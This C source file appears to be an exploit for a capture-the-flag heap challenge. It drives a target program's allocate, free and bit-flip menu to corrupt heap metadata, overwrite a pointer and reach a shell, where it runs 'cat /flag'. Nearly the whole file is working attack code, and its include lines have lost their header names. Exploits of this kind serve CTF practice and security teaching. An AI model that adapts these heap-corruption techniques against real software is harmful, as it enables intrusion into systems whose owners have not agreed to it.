#include #include #include #include #include #include #include #include #include char * readuntil(FILE *io, const char *needle) { size_t n = 0; char *line = NULL; ssize_t size; while ((size = getdelim(&line, &n, '\n', io)) > 0) { if (needle && strstr(line, needle)) return line; } abort(); } char * readuntilc(FILE *io, char c) { char *line = NULL; size_t size = 0; if (getdelim(&line, &size, c, io) <= 0) abort(); return line; } void writeline(FILE *io, const char *line) { size_t size; for (size = 0; line[size] != '\n'; size++); fwrite(line, 1, size + 1, io); } unsigned do_allocv(FILE *ior, FILE *iow, const char *buf) { writeline(iow, "a\n"); free(readuntilc(ior, ':')); writeline(iow, buf); free(readuntilc(ior, ':')); char *line = readuntilc(ior, '\n'); char *tok = strrchr(line, ' '); unsigned v = strtoul(tok, NULL, 0); free(line); return v; } int do_alloc(FILE *ior, FILE *iow, size_t size) { char *buf = malloc(size + 1); for (size_t i = 0; i < size; i++) buf[i] = 'A'; buf[size] = '\n'; int res = do_allocv(ior, iow, buf); free(buf); return res; } void do_free(FILE *ior, FILE *iow, unsigned index) { char buf[256]; writeline(iow, "r\n"); free(readuntilc(ior, ':')); snprintf(buf, 256, "%u\n", index); writeline(iow, buf); } void do_flip(FILE *ior, FILE *iow, unsigned index, unsigned offset) { char buf[256]; writeline(iow, "f\n"); free(readuntilc(ior, ':')); snprintf(buf, 256, "%u\n", index); writeline(iow, buf); free(readuntilc(ior, ':')); snprintf(buf, 256, "%u\n", offset); writeline(iow, buf); } void spawn(const char *path, FILE **in, FILE **out) { int inp[2]; int outp[2]; if (pipe(inp)) abort(); if (pipe(outp)) abort(); pid_t pid = fork(); if (pid < 0) abort(); if (!pid) { dup2(inp[1], 1); close(inp[0]); dup2(outp[0], 0); close(outp[1]); system(path); abort(); } *in = fdopen(inp[0], "r"); setbuf(*in, NULL); *out = fdopen(outp[1], "w"); setbuf(*out, NULL); } int main(int argc, const char **argv) { char *iobuf; size_t iosize; FILE *ior = NULL, *iow = NULL; spawn(argv[1], &ior, &iow); if (!ior || !iow) abort(); setvbuf(ior, NULL, 0, _IONBF); signal(SIGCHLD, exit); signal(SIGPIPE, exit); free(readuntil(ior, "╰────────────────────────────────────────────────────╯")); unsigned b = do_alloc(ior, iow, 0x76); unsigned c = do_alloc(ior, iow, 0x76); unsigned d = do_alloc(ior, iow, 0x76); unsigned _a = do_alloc(ior, iow, 0x1dfffe); unsigned _b = do_alloc(ior, iow, 0x1dfffe); unsigned _c = do_alloc(ior, iow, 0xefffe); unsigned _d = do_alloc(ior, iow, 0x77ffe); unsigned _e = do_alloc(ior, iow, 0x3bffe); unsigned _f = do_alloc(ior, iow, 0x3bffe); unsigned a = do_alloc(ior, iow, 0x3bffe); do_free(ior, iow, a); do_free(ior, iow, b); char *line = malloc(0xefffe + 1); memset(line, 'A', 0xefffe); line[0xefffe] = '\n'; *(uint64_t *)(line + 0xf1000 - 0x3d000 - 8) = 0x80 ^ 0b001; assert(b == do_allocv(ior, iow, line)); free(line); do_free(ior, iow, a); do_free(ior, iow, c); do_flip(ior, iow, c, 23); do_alloc(ior, iow, 0x76); char buf[256]; for (size_t i = 0; i < 0x40; i++) buf[i] = 'A'; buf[0x40] = '\n'; writeline(iow, buf); readuntilc(ior, ':'); for (size_t i = 0; i < 0x19; i++) buf[i] = 'X'; buf[0x19] = '\n'; writeline(iow, buf); line = readuntilc(ior, '\n'); char *tok = strrchr(line, ' '); a = strtoul(tok, NULL, 0); free(line); for (size_t i = 0; i < 0x3e; i++) buf[i] = 'E'; buf[0x3e] = '\n'; writeline(iow, buf); readuntilc(ior, ':'); snprintf(buf, 256, "%i%*s", a, 100, ""); buf[0x3c] = '\n'; writeline(iow, buf); readuntilc(ior, ':'); for (size_t i = 0; i < 0x18; i++) buf[i] = 'X'; buf[0x18] = 0x70; buf[0x19] = 0x5d; buf[0x1a] = 0x9f; buf[0x1b] = '\n'; writeline(iow, buf); readuntilc(ior, '>'); writeline(iow, "cat /flag \n"); readuntilc(ior, '>'); for (size_t i = 0; i < 0x81; i++) buf[i] = '!'; buf[0x81] = '\n'; writeline(iow, buf); sleep(1); }